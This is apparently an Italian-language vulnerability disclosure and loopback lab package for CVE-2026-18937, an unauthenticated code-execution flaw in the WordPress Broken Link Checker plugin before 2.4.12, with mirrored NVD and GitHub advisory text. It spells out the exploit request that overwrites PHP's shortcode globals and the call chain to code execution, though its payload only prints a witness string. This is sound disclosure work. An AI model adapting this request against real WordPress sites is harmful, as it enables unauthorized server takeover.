
Proof-of-concept di exploit e pacchetto di riproduzione in laboratorio per CVE-2026-18937, un RCE non autenticato nel plugin WordPress Broken Link Checker precedente alla versione 2.4.12.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-18937
Broken Link Checker 2.4.11 — Sconosciuto
Il plugin WordPress Broken Link Checker precedente alla versione 2.4.12 non limita quali variabili di query accetta dall'input dell'utente sui siti che utilizzano permalink semplici, consentendo a utenti non autenticati di sovrascrivere variabili globali PHP arbitrarie e di eseguire codice arbitrario sul server quando è attivo un tema classico (non a blocchi).
| CVE | CVE-2026-18937 · CVE.org |
| CWE | CWE-94 |
| CVSS | Critico: 9.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Prodotto | Broken Link Checker |
| Affette | tutte le versioni fino alla 2.4.11 (inclusa) |
| Corrette | 2.4.12 e successive |
| Auth | nessuna (vedi source map) |
| Licenza | GNU Affero GPL v3.0 |
| Lab | solo 127.0.0.1 · pacchetto di divulgazione per vendor/cliente, non uno scanner |
L'iniezione di variabili di query è Webhook::parse_request che unisce $_GET, non un'azione ajax=. HTTP è GET / con chiavi di query aggiuntive.
GET/?page_id=4&shortcode_tags[blcpoc]=poc_witness_18937GET /?page_id=<front page id>&shortcode_tags[blcpoc]=poc_witness_18937Webhook::parse_request (permalink semplici) → $wp->query_vars += $_GETWP::register_globals → $GLOBALS['shortcode_tags']['blcpoc']=poc_witness_18937the_content('[blcpoc]') → poc_witness_18937() → POCWitness18937Il body HTTP contiene POCWitness18937. Un HTML home generico senza quella stringa non è sufficiente.
Fai questo per primo: Aggiorna Broken Link Checker alla 2.4.12 o successiva.
Verifica dopo l'aggiornamento
CVE-2026-18937-Abraxas-Labs.py contro la build corretta: il witness mappato non deve apparire.Se non puoi aggiornare immediatamente
Target solo http://127.0.0.1:8088 (o il loopback su cui hai fatto il bind). Non puntare questo script verso Internet.
python3 CVE-2026-18937-Abraxas-Labs.py
Il successo è il witness sopra nel body della risposta. Un generico HTML 200 non è sufficiente.
Stack loopback usato per la riproduzione. Immagini ufficiali a meno che un Dockerfile in questa cartella non venga compilato dai sorgenti.
cd lab
docker compose up --force-recreate
Collega l'albero del prodotto vulnerabile accanto a Compose se lo YAML monta una directory locale (zip del plugin / tag sorgente dalla tabella delle versioni). Non pubblicare nulla tranne 127.0.0.1.
wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d/
wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d
Directory dei plugin: broken-link-checker
Browser Trac: plugins.trac.wordpress.org/broken-link-checker
Abraxas Labs: abraxaslabs.tech · github.com/abraxas · @abraxas_null
# CVE-2026-18937 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-18937`
- CWE: CWE-94
- published: 2026-08-19T06:17:38.847
## NVD description
The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables, and to execute arbitrary code on the server when a classic (non-block) is active.
## MITRE description
The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables, and to execute arbitrary code on the server when a classic (non-block) is active.
## Affected
- Unknown Broken Link Checker 0 affected
## References (JSON sources only)
- https://wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d/
- https://github.com/advisories/GHSA-c2xc-88v3-37g2
- https://nvd.nist.gov/vuln/detail/CVE-2026-18937
- https://wpscan.com/vulnerability/a23b76eb-107d-4e02-8eae-c3c5fa5b003d
## GitHub advisory
The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it...
The Broken Link Checker WordPress plugin before 2.4.12 does not limit which query variables it accepts from user input on sites using plain permalinks, allowing unauthenticated users to overwrite arbitrary PHP global variables, and to execute arbitrary code on the server when a classic (non-block) is active.
Questo pacchetto di divulgazione è rilasciato sotto la GNU Affero General Public License v3.0. Vedi LICENSE.
Questo pacchetto è destinato al vendor, al proprietario del sito e ai lab autorizzati. Lo script comunica con 127.0.0.1. Usarlo contro sistemi di cui non sei proprietario non è autorizzato da Abraxas Labs. Nessuna garanzia.